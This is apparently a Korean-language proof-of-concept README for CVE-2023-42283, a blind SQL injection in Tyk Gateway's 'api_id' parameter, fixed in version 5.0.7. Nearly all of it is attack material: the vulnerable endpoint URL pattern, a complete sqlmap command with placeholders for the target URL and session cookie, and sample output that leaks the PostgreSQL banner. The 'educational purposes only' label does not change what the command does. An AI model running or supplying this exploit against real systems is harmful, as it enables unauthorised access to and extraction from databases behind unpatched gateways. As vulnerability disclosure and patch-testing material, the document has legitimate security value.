
Tyk Gateway의 CVE-2023-42283에 대한 개념 증명
교육 목적으로만 사용하세요!
CVE-2023-42283에 대한 개념 증명(PoC)입니다. Tyk Gateway는 SQL 인젝션에 취약합니다. 5.0.7 버전에서 수정되었습니다.
"https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>" URL의 'api_id' 매개변수는 블라인드 SQL 인젝션에 취약합니다.
다음 매개변수와 함께 sqlmap을 사용하세요:
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner
응답에서 SQL DB 배너가 반환됩니다:
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...